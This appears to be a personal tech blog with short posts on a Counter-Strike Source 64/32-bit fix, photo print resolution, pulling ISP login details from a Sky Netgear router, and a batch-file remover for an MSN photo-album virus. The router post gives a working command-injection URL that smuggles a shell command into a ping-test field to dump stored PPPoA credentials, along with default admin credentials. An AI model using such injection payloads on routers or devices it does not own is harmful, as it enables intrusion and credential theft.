Convert Counter-Strike Source 64 bit to 32 bit

I'm blogging this becasue it's somthing that has wasted many hours of my life, needlessly. I installed Windows XP 64 bit to see if it gave any performace improvemts with counter-strike source. After finding no real noticable difference and becoming more and more annoyed by the lack of software support for 64 bit, I decided to convert back to 32 bit Windows. However, when I went to play Counter-strike again, it wouldn't work, can't remember the error now but basicly it was still trying to run using 64 bit files and had replaced the 32 bit ones with. I tryed deleting the *.blob file in the the valve directory in the hopes that steam would re-asses my files, but no luck.
Any way, the eventual solution to the problem was a program called Dependancy walker
from href="http://www.dependencywalker.com
By loading the Steam.exe file into dependancy walker it was able to give a list of all the files used by steam and which where 32 or 64 bit. I simply deleted all 64 bit files, restarted steam, which then downloaded new 32 bit versions of the files, and I was away.

Printing Images

Simple post today, if you use a digital camera and want to print photo quality pictures, you need to have the images 'dots per inch' (dpi) set to at least 300. As long as your camera has a suitable Megapixel size, you can zoom in on your images and still get photo quality, as long as you don't go below 300 dpi.

Getting the Username & Password from a Sky Broadband Router

If you've joined up with Sky Broadband you'll proberbly have one of there Netgear routers, which is great for most people. If however you prefer to use your own router, there's a problem, Sky won't let you and you can't easily get the information you need from the Sky router. However there is a way using URL injections which are shown below.

First click the link below:
http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26/bin/grep+ppoa_+/tmp/nvram+%3E+/www/netgear.cfg

Then enter your Sky username & passowrd (normally admin & sky)

Then click the following link and open the file into a text editor:
http://192.168.0.1/netgear.cfg

You'll be presented with a file that looks something like this:
pppoa_username=00123A456B78@skydslpppoa_password=1Ae203a0bbpppoa_idle=0pppoa_ipaddr=

The username is: 00123A456B78@skydsl
and the password is: 1Ae203a0bb

Now you just enter that information into your chosen router and your away.

MSN Photo Album Virus

Having recently been stupid enough to download the MSN Photo Album Virus, which then infected several of my friends, I wrote a batch file to remove it that doesn't require any system restarting.
http://www.scriptmarket.co.uk/msnVirusRemoval.zip

It's a Zip file that contains 2 files, run.bat & kill.exe.
Just extract the file then double click run.bat to remove the virus.
Kill.exe is used by the batch file to close running programs that have been infected by the virus.
I've tested the batch file on XP and 2000 and it's worked with out any problems.
Hope this helps a few people.

Also, If you have any talent in web design and are interested in working on a web project on a 50/50 basis (no pay just split any profits). Email me at b.flatman at gmail dot com.

I'm just looking for some one to start a project with on a very part time basis.

I'm currently working as an application developer, but have worked in web development and even SEO in the past so those are the skills i'll be bringing to the table.


Thanks.
